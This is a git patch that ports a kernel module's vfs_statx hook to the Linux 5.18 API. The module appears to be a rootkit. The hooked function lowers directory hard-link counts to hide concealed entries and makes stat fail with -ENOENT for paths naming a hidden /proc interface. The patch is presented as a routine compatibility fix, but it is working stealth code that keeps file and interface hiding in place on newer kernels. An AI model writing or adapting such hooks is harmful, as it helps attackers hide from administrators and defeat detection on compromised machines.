From 7f988ca974b7c3e180582042993c015cad134e48 Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 18 Dec 2024 18:26:44 +0000 Subject: [PATCH] stat: Fix vfs_statx API change from kernel 5.18 --- src/sys.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/src/sys.c b/src/sys.c index 5e70618..3f2f53f 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1009,10 +1009,13 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs } #endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) static long (*real_vfs_statx)(int, const char __user *, int, struct kstat *, u32); static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) { - /** XXX do I need this much */ - char kernbuf[PROCNAME_MAXLEN+6] = {0}; +#else +static long (*real_vfs_statx)(int, struct filename *, int, struct kstat *, u32); +static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct kstat *stat, u32 request_mask) { +#endif /* call original first, I want stat */ long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask); @@ -1022,20 +1025,33 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct * and update hard-links counter accordingly. * 2 make stat fail for /proc interface. * */ + +#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) + char kernbuf[PROCNAME_MAXLEN] = {0}; if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) { if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) { int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino); +#else + if (strlen(filename->name) > 0 && S_ISDIR(stat->mode)) { + int count = fs_is_dir_inode_hidden((const char *)filename->name, stat->ino); +#endif if (count > 0) { prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count); /* Hit(s) -> decrement hard-link counts */ stat->nlink -= count; } +#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) } else if (strstr(kernbuf, PROCNAME)) { +#else + } else if (strstr(filename->name, PROCNAME)) { +#endif /* Mauro? */ rv = -ENOENT; } +#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) } +#endif return rv; }